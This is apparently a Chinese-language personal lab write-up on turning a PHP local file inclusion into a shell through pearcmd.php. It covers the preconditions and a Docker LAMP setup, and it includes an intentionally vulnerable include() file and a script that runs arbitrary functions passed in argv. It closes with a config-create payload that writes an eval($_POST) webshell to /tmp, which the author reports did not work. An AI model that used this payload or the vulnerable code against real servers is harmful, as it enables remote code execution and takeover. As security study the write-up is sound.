认识pearcmd.php,从LFI到getshell
利用时机
pecl是PHP中用于管理扩展而使用的命令行工具,
而pear是pecl依赖的类库。
在7.3及以前,pecl/pear是默认安装的;
在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
但是但是但是,我的lamp就没有啊啊啊!!!!!!
安装了pear(这样才能有pearcmd.php)
开启了register_argc_argv
存在文件包含且可以包含后缀为php的文件且没有open_basedir的限制。
搭建环境
LAMP(Linux+Apache+Mysql+Php)
1.拉取lamp镜像
docker pull docker.io/tutum/lamp
2.创建容器
docker run --name=lamp -d -p 8080:80 -p 3306:3306 tutum/lamp
3.进入容器
docker exec -it lamp /bin/bash
4. 查看容器有哪些文件
ll
5.最后一步,访问网站测试一下是否配置成功:
公网IP:8080/index.php (这个index可以直接访问的)
访问成功显示
快速体验
先准备两个php文件放在var/www/html下即可
先用xftp传送文件到服务器上
再将文件移动到lamp容器里
docker cp argv.php 6ae722e66638:/var/www/html
<?php
//file.php
include($_REQUEST['file']);
?>
<?php
//argv.php
var_dump($_SERVER['argv']);
?>
这里我遇到了很多问题
web浏览器上执行不了
利用pearcmd
然后发现容器里可以
我再换个文件试试
<?php
//test.php
var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>
但web模式还是不行
利用pearcmd.php从LFI到getshell
我发现/usr/share/pear 且下面没有pearcmd.php
然后去下了个放到里面试试
linux安装pear
终于找到了罪魁祸首:
需要开启register_argc_argv这个东西。这个东西之前做ctfshow的PHP特性的时候遇到过一次,如果存在php.ini的话,默认是Off。如果没有php.ini则默认是Off。
PHP官方提供的镜像里面也是默认没有php.ini,所以也是默认开启了这个register_argc_argv:
然而我的有。。
所以需要修改
然后就发现了 用vi可以代替vim
很悲剧的发现修改 apache2/php.ini好恶心
我直接给删了
然后然后就可以了
主机ip:8080/test.php?fff+222
传入system+ls也可以执行成功了
argv.php?1+2+6 也行了
尝试下
?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=@eval($_POST[‘cmd’]);?+/tmp/test.php
文件包含之包含pearcmd.php漏洞
这又写不进去…再说吧